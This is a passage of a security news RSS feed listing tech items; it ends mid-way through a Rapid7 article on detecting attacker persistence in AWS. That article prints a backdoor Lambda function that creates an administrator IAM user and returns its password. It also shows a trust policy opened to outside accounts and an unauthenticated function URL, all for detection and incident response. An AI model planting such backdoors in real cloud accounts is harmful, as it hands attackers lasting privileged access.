It notes that, for example, Gemini could generate "a 100-page murder mystery set in a quiet seaside town filled with secrets, that substitutes for an original copyrighted murder mystery on which Gemini trained" in 20 minutes for 39 cents. "No publisher or author can compete with that." The lawsuit names a number of specific books that the publishers allege were among the copyrighted works used without permission, including NK Jemisin's The Fifth Season, and Lemony Snicket's Who Could That Be at This Hour?<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Book+Publishers+Sue+Google+For+Copyright+Infringement+Over+Gemini+AI+Training%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F15%2F2113245%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F07%2F15%2F2113245%2Fbook-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/07/15/2113245/book-publishers-sue-google-for-copyright-infringement-over-gemini-ai-training?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox is getting updates twice as fast from September]]></title>
<description><![CDATA[Mozilla is changing Firefox’s release schedule from September, with new stable versions planned every two weeks instead of once a month. The faster release cadence will, Mozilla says, make its schedule more predictable and give “work that is ready to ship more frequent opportunities to reach user...]]></description>
<link>https://tsecurity.de/de/3671993/linux-tipps/firefox-is-getting-updates-twice-as-fast-from-september/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671993/linux-tipps/firefox-is-getting-updates-twice-as-fast-from-september/</guid>
<pubDate>Wed, 15 Jul 2026 23:58:34 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/04/kit-firefox-logo.webp?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="Firefox logo with a pleased face drawn on it, sitting on a purple background." decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/04/kit-firefox-logo.webp?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/04/kit-firefox-logo.webp?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/04/kit-firefox-logo.webp?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2026/04/kit-firefox-logo.webp?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Mozilla is changing Firefox’s release schedule from September, with new stable versions planned every two weeks instead of once a month. The faster release cadence will, Mozilla says, make its schedule more predictable and give “work that is ready to ship more frequent opportunities to reach users”. In a message to developers, Mozilla describes the change as an experiment it will “closely monitor” to ensure that the impact is positive and “adjust if needed”. Firefox 154, due for release on 18 August, will be the final stable version released under the current schedule. Firefox 155 is then planned for 1 […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/07/firefox-two-week-release-cycle">Firefox is getting updates twice as fast from September</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ZDI-26-420: Adobe Creative Cloud AGSService Incorrect Permission Assignment Local Privilege Escalation Vulnerability]]></title>
<description><![CDATA[This vulnerability allows local attackers to escalate privileges on affected installations of Adobe Creative Cloud Desktop Application. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The ZDI has assigned a CVSS...]]></description>
<link>https://tsecurity.de/de/3671935/sicherheitsluecken/zdi-26-420-adobe-creative-cloud-agsservice-incorrect-permission-assignment-local-privilege-escalation-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671935/sicherheitsluecken/zdi-26-420-adobe-creative-cloud-agsservice-incorrect-permission-assignment-local-privilege-escalation-vulnerability/</guid>
<pubDate>Wed, 15 Jul 2026 23:40:27 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This vulnerability allows local attackers to escalate privileges on affected installations of Adobe Creative Cloud Desktop Application. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 7.8. The following CVEs are assigned: CVE-2026-48344.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.1-rc0]]></title>
<description><![CDATA[cmd: put current working dir in the system prompt (#17188)]]></description>
<link>https://tsecurity.de/de/3671709/downloads/v0321-rc0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671709/downloads/v0321-rc0/</guid>
<pubDate>Wed, 15 Jul 2026 21:16:51 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>cmd: put current working dir in the system prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887553796" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/17188" data-hovercard-type="pull_request" data-hovercard-url="/ollama/ollama/pull/17188/hovercard" href="https://github.com/ollama/ollama/pull/17188">#17188</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Major Publishers Bring Another AI Copyright Lawsuit Against Google]]></title>
<description><![CDATA[Major publishers and author Scott Turow accuse Google of using copyrighted books and articles without permission to train Gemini AI models in a new lawsuit.]]></description>
<link>https://tsecurity.de/de/3671594/it-nachrichten/major-publishers-bring-another-ai-copyright-lawsuit-against-google/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671594/it-nachrichten/major-publishers-bring-another-ai-copyright-lawsuit-against-google/</guid>
<pubDate>Wed, 15 Jul 2026 20:17:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Major publishers and author Scott Turow accuse Google of using copyrighted books and articles without permission to train Gemini AI models in a new lawsuit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Lucid’s bankruptcy rumor is a bad sign for the EV future]]></title>
<description><![CDATA[Lucid Motors found itself in a tough bind this week, fending off bankruptcy rumors and watching its stock price plunge as a result. The company quickly denied the report, calling it "completely false" and pointing to its available free cash flow as evidence that it has enough runway to operate in...]]></description>
<link>https://tsecurity.de/de/3671514/it-nachrichten/lucids-bankruptcy-rumor-is-a-bad-sign-for-the-ev-future/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671514/it-nachrichten/lucids-bankruptcy-rumor-is-a-bad-sign-for-the-ev-future/</guid>
<pubDate>Wed, 15 Jul 2026 19:33:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Lucid Motors found itself in a tough bind this week, fending off bankruptcy rumors and watching its stock price plunge as a result. The company quickly denied the report, calling it "completely false" and pointing to its available free cash flow as evidence that it has enough runway to operate into next year. But despite […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v1.170.0]]></title>
<description><![CDATA[1.170.0 - 2026-07-15
### Added

Pro C/C++ scans now skip code inside statically-dead preprocessor branches
(for example, #if 0 ... #else ... #endif). Patterns that would otherwise
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)
Restored obackward: semgrep-co...]]></description>
<link>https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671455/it-security-tools/release-v11700/</guid>
<pubDate>Wed, 15 Jul 2026 19:19:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/semgrep/semgrep/releases/tag/v1.170.0">1.170.0</a> - 2026-07-15</h2>
<h3>### Added</h3>
<ul>
<li>Pro C/C++ scans now skip code inside statically-dead preprocessor branches<br>
(for example, <code>#if 0 ... #else ... #endif</code>). Patterns that would otherwise<br>
match against intentionally-disabled code no longer report on it. (cpp-if-zero-filter)</li>
<li>Restored obackward: semgrep-core and semgrep-core-proprietary once again print a backtrace when receiving a fatal signal (e.g. SIGSEGV) (obackward)</li>
<li><code>semgrep install-semgrep-pro</code> now sends usage metrics so that<br>
installation errors can be tracked. Metrics can be disabled with<br>
<code>--metrics off</code> or <code>SEMGREP_SEND_METRICS=off</code>. Metrics payloads also<br>
now include the method used to install the Semgrep CLI (pip, homebrew,<br>
docker, or unknown), detected heuristically. See metrics.md for<br>
more details of what exactly is sent. (engine-2858)</li>
</ul>
<h3>### Changed</h3>
<ul>
<li>Increased the timeout for dynamic dependency resolution subprocesses from<br>
600 to 900 seconds, giving large projects more time to resolve dependencies<br>
before timing out. (SC-3699)</li>
<li>Pro C/C++ <code>#if 0</code> filtering now also handles cases where the directive splits a<br>
syntactic unit.  For example, a function signature toggle like <code>#if 0 void foo(int i) { #else void foo(uint32_t i) { #endif</code>. (engine-994)</li>
</ul>
<h3>### Fixed</h3>
<ul>
<li>
<p>Fixed a crash at startup (<code>Fatal error: Failed to allocate signal stack for domain 0</code>) when running Semgrep on systems with musl 1.2.6 (e.g. Alpine 3.24) on<br>
recent Intel CPUs whose kernel-reported minimum signal-stack size exceeds musl's<br>
build-time SIGSTKSZ (notably AMX-capable Xeons). (ENGINE-2863)</p>
</li>
<li>
<p>Dockerfile: Fixed parse errors on <code>RUN</code> instructions that use heredoc syntax<br>
(<code>&lt;&lt;EOF</code>, <code>&lt;&lt;-EOF</code>, quoted delimiters). (LANG-263)</p>
</li>
<li>
<p><code>metavariable-type</code> now supports fully qualified type names in languages<br>
where a qualified name in type position parses as an expression (e.g.<br>
Python's <code>types: [a.b.C]</code>) when the metavariable's type is determined by<br>
type inference, such as Pro engine cross-file type resolution. (LANG-583)</p>
</li>
<li>
<p>Updated the ocaml-tree-sitter-core dependency to the latest <code>main</code>.</p>
<ul>
<li>Fails loudly on a parser/runtime ABI mismatch</li>
<li>Stamps every generated <code>parser.c</code> with the tree-sitter version that produced it.</li>
<li>Changed paths where tree-sitter versions are installed (lang-591)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The New Software Lifecycle]]></title>
<description><![CDATA[The following article originally appeared on Addy Osmani’s blog and is being republished here with the author’s permission. I cowrote a Google whitepaper about how AI is changing the software lifecycle. I’m not going to summarize the whole thing. Instead, here are the handful of ideas in it I thi...]]></description>
<link>https://tsecurity.de/de/3671439/ai-nachrichten/the-new-software-lifecycle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671439/ai-nachrichten/the-new-software-lifecycle/</guid>
<pubDate>Wed, 15 Jul 2026 19:03:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The following article originally appeared on Addy Osmani’s blog and is being republished here with the author’s permission. I cowrote a Google whitepaper about how AI is changing the software lifecycle. I’m not going to summarize the whole thing. Instead, here are the handful of ideas in it I think actually matter, plus six figures […]]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.2]]></title>
<description><![CDATA[Core
Bugfixes

Stopped subagents from launching nested subagents by default, with a configurable subagent_depth limit when needed.
Improved default reasoning depth for Meta models.

Desktop
Improvements

Added Mod+N as another shortcut for opening a new tab.

Bugfixes

Restored the Help button in...]]></description>
<link>https://tsecurity.de/de/3671332/downloads/v1182/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671332/downloads/v1182/</guid>
<pubDate>Wed, 15 Jul 2026 18:32:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Stopped subagents from launching nested subagents by default, with a configurable <code>subagent_depth</code> limit when needed.</li>
<li>Improved default reasoning depth for Meta models.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Added <code>Mod+N</code> as another shortcut for opening a new tab.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Restored the Help button in release builds.</li>
<li>Kept sessions with <code>null</code> archive times visible instead of dropping them from the home list.</li>
<li>Hid the drawer close button on Windows where it conflicts with the window chrome.</li>
</ul>
<p><strong>Thank you to 1 community contributor:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BB-84C/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BB-84C">@BB-84C</a>:
<ul>
<li>fix(core): tolerate AlreadyExists in FSUtil.ensureDir (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868117496" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/36542" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/36542/hovercard" href="https://github.com/anomalyco/opencode/pull/36542">#36542</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Intelligence China: Regulatory Approval Clears The Path]]></title>
<description><![CDATA[Apple Intelligence China is finally moving forward after receiving a major green light from the local cyberspace regulator. The agency officially registered the service on Wednesday, clearing a massive legal hurdle for bringing every new Apple Intelligence feature arriving on your devices to user...]]></description>
<link>https://tsecurity.de/de/3671313/ios-mac-os/apple-intelligence-china-regulatory-approval-clears-the-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671313/ios-mac-os/apple-intelligence-china-regulatory-approval-clears-the-path/</guid>
<pubDate>Wed, 15 Jul 2026 18:11:49 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Intelligence China is finally moving forward after receiving a major green light from the local cyberspace regulator. The agency officially registered the service on Wednesday, clearing a massive legal hurdle for bringing every new Apple Intelligence feature arriving on your devices to users across the region.



While this step does not give us a firm launch date, it serves as a huge turning point for Apple in a highly competitive market where smartphone buyers constantly look for fresh software updates.



Alibaba and Baidu step in to power local features



To make this happen, the company is relying on local partnerships to safely navigate the strict rules surrounding artificial intelligence. Alibaba officially confirmed that its Qwen model will run directly inside the system, handling text and image understanding along with content generation.



Instead of switching between different apps, people will be able to use these tools natively across iOS, iPadOS, macOS, and visionOS. This creates a much smoother daily routine for anyone holding an iPhone or working on a Mac.



Additionally, Baidu is helping the hardware maker develop other specific functions to ensure the software meets regional demands. By leaning on these local players, the company avoids the massive roadblock of bringing outside models into a heavily regulated internet space, keeping its core ecosystem intact.



The paperwork is done but users still have to wait



Getting the official registration from the internet regulator is a huge win, but a completed filing simply means permission to proceed. It does not mean a public rollout is happening tomorrow.



The regulator did not provide a specific timeline for when Apple Intelligence will actually go live for the public. The company still needs to figure out how exactly it will blend its own system tools with Chinese content rules and local server requirements before hitting the launch button.



This approval comes at a very good time, as the brand recently saw a 24.4 percent jump in its regional device shipments during the second quarter. Adding fresh AI tools could help keep that momentum going against tough domestic rivals like Huawei.



As the regulatory dust settles, all eyes are on how smoothly the company can launch this tailored experience without compromising the familiar feel of its software.]]></content:encoded>
</item>
<item>
<title><![CDATA[Nostalgic Bondi Blue iMac G3 Could Become An Official LEGO Set]]></title>
<description><![CDATA[Do you remember the colorful translucent computers from the late nineties? A dedicated fan builder has created an impressive replica of the classic 1998 Bondi Blue iMac G3 using standard building blocks. This creative project recently gained massive support online and is now officially under revi...]]></description>
<link>https://tsecurity.de/de/3671310/ios-mac-os/nostalgic-bondi-blue-imac-g3-could-become-an-official-lego-set/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671310/ios-mac-os/nostalgic-bondi-blue-imac-g3-could-become-an-official-lego-set/</guid>
<pubDate>Wed, 15 Jul 2026 18:11:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Do you remember the colorful translucent computers from the late nineties? A dedicated fan builder has created an impressive replica of the classic 1998 Bondi Blue iMac G3 using standard building blocks. This creative project recently gained massive support online and is now officially under review by the manufacturer.



If everything falls into place, you might soon be able to build a physical piece of computer history right on your desk.



The fan design features clear blue bricks and internal details



The proposed set comes from a creator named terauma on the official Ideas platform. This builder used exactly 700 pieces to recreate the famous desktop computer in stunning accuracy. The model perfectly captures the original retro aesthetic by using see through blue parts for the distinctive outer shell.



When you look closer, the attention to detail becomes even more obvious. The builder thoughtfully included small versions of the internal circuit boards and the heavy cathode ray tube monitor inside the casing. The whole package also features matching desktop accessories. Builders get to piece together the famous round hockey puck mouse and the classic keyboard with clear cables. It is a perfect tribute to the original Mac that helped reshape the personal computing market.



The final approval completely depends on passing strict licensing hurdles



The project recently reached a major milestone by gathering 10,000 votes from community supporters. This huge number means the toy company must formally review the idea for mass production. Currently, the set is sitting in a special parking lot status. This simply means the review board needs extra time to make a final decision, which is actually a very positive sign instead of an instant rejection.



The biggest challenge now is getting official permission from Apple to sell a branded product. The hardware maker is famously strict about its intellectual property and rarely approves third party merchandise. A previous fan project for a brick built retail store was quickly denied.



However, the extended review time suggests the two companies might be actively talking. If the tech brand decides to embrace its own history, this colorful kit could become a massive hit for vintage computer fans everywhere.]]></content:encoded>
</item>
<item>
<title><![CDATA[Proton says it rejected all 47 data requests targeting VPN users in 2026]]></title>
<description><![CDATA[Proton has updated its Proton VPN transparency report, revealing that it received 47 legally binding requests for user information during the first half of 2026. According to the company, all 47 requests were denied because Proton VPN's no-logs policy meant it had no data capable of identifying t...]]></description>
<link>https://tsecurity.de/de/3671208/it-security-nachrichten/proton-says-it-rejected-all-47-data-requests-targeting-vpn-users-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671208/it-security-nachrichten/proton-says-it-rejected-all-47-data-requests-targeting-vpn-users-in-2026/</guid>
<pubDate>Wed, 15 Jul 2026 17:38:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Proton has updated its Proton VPN transparency report, revealing that it received 47 legally binding requests for user information during the first half of 2026. According to the company, all 47 requests were denied because Proton VPN's no-logs policy meant it had no data capable of identifying the users sought by authorities. The updated transparency …</p>
<p>The post <a href="https://cyberinsider.com/proton-says-it-rejected-all-47-data-requests-targeting-vpn-users-in-2026/">Proton says it rejected all 47 data requests targeting VPN users in 2026</a> appeared first on <a href="https://cyberinsider.com/">CyberInsider</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Persistence Mechanisms in AWS]]></title>
<description><![CDATA[OverviewIn the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds...]]></description>
<link>https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</guid>
<pubDate>Wed, 15 Jul 2026 15:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p>In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.</p><p>Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 InsightIDR customers to investigate and understand AWS alert behaviors.</p><h2>Persistence technique: IAM user</h2><p><span>One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.</span></p><p><span>During incident investigations, we have observed that malicious </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> actions are usually simple and often include only the </span><span><span data-type="inlineCode">userName</span></span><span> of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named </span><span><span data-type="inlineCode">malicious-user</span></span><span><em>.</em></span></p><p></p><pre language="json">   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
    },</pre><p><span><em>Listing 1: Example request and response parameters of the </em></span><span><span data-type="inlineCode"><em>iam:CreateUser</em></span></span><span><em> API call</em></span></p><p><span><em></em></span></p><p><span>Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:</span></p><h4><span>Credential addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:CreateAccessKey</span></span><span> — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.</span></p></li><li><p><span><span data-type="inlineCode">iam:CreateConsoleProfile</span></span><span><strong> </strong></span><span>— Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.</span></p></li></ul><h4><span>Permission addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:AttachUserPolicy</span></span><span> — Attaches the specified managed policy to the user.</span></p></li><li><p><span><span data-type="inlineCode">iam:PutUserPolicy</span></span><span> — Adds or updates an inline policy document embedded in the specified IAM user.</span></p></li><li><p><span><span data-type="inlineCode">iam:AddUserToGroup</span></span><span> — Adds the user to the specified group.</span></p></li></ul><p><span>All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")</pre><p><span><em>Listing 2: LEQL query for investigating actions performed on an IAM user</em></span></p><p><span><em></em></span></p><p><span>Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.</span></p><p><span>To get an overview of the most important actions performed on the malicious entity, the following query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)</pre><p><span><em>Listing 3: LEQL query to get an overview of the most important actions performed on the user</em></span></p><p><span><em></em></span></p><p><span>The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.</span></p><p><span>InsightIDR parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)</pre><p><span><em>Listing 4: LEQL query for actions performed by the user</em></span></p><h3>Recommended steps for newly created IAM users</h3><p><span>When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.</span></p></li><li><p><span>Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.</span></p></li><li><p><span>Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.</span></p></li><li><p><span>Rotate credentials for all compromised accounts to prevent further unauthorized access.</span></p></li><li><p><span>Remove any unknown or unauthorized IAM users to fully remediate persistence.</span></p></li></ul><h2>Persistence technique: Modifying assume role policies</h2><p><span>An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.</span></p><p><span>During an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using </span><span><span data-type="inlineCode">iam:CreateRole</span></span><span> with already backdoored assume role policy, or via editing an assume role policy that already exists using </span><span><span data-type="inlineCode">iam:UpdateAssumeRolePolicy</span></span><span> API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.</span></p><p></p><pre language="json">{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

</pre><p><span><em>Listing 5: Assume role policy allows external access</em></span></p><p></p><p><span>The document contains two external account IDs, </span><span><span data-type="inlineCode">111111111111</span></span><span> and </span><span><span data-type="inlineCode">222222222222</span></span><span>, and allows anyone with necessary permissions in the attacker's account to assume the role.</span></p><p><span>In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the </span><span><span data-type="inlineCode">malicious-role</span></span><span> that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])</pre><p><span><em>Listing 6: LEQL query to show actions performed on the suspicious role</em></span></p><p></p><p><span>When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When </span><span><span data-type="inlineCode">iam:AssumeRole</span></span><span> action is observed, the returned temporary key can be extracted and its associated activity can be further examined.</span></p><p><span></span></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])</pre><p><span><em>Listing 7: LEQL query showing actions from the suspicious AWS accounts</em></span></p><p></p><p><span>Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.</span></p><p></p><pre language="html">where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)</pre><p><span><em>Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts</em></span></p><h2>Persistence technique: Lambda abuse</h2><p><span>AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.</span></p><p><span>Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.</span></p><p></p><pre language="python">import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }</pre><p><span><em>Listing 9: Backdoor Python Lambda code</em></span></p><p></p><p><span>The code in Listing 5 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.</span></p><p><span>One way the function can be invoked via a public URL is by using the </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> and </span><span><span data-type="inlineCode">lambda:AddPermission</span></span><span> sequence. The </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, </span><span><em><span data-type="inlineCode">lambda:AddPermission</span></em></span><span>, assigns permission that allows the function to be invoked from the URL.</span></p><p>    </p><pre language="html">"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
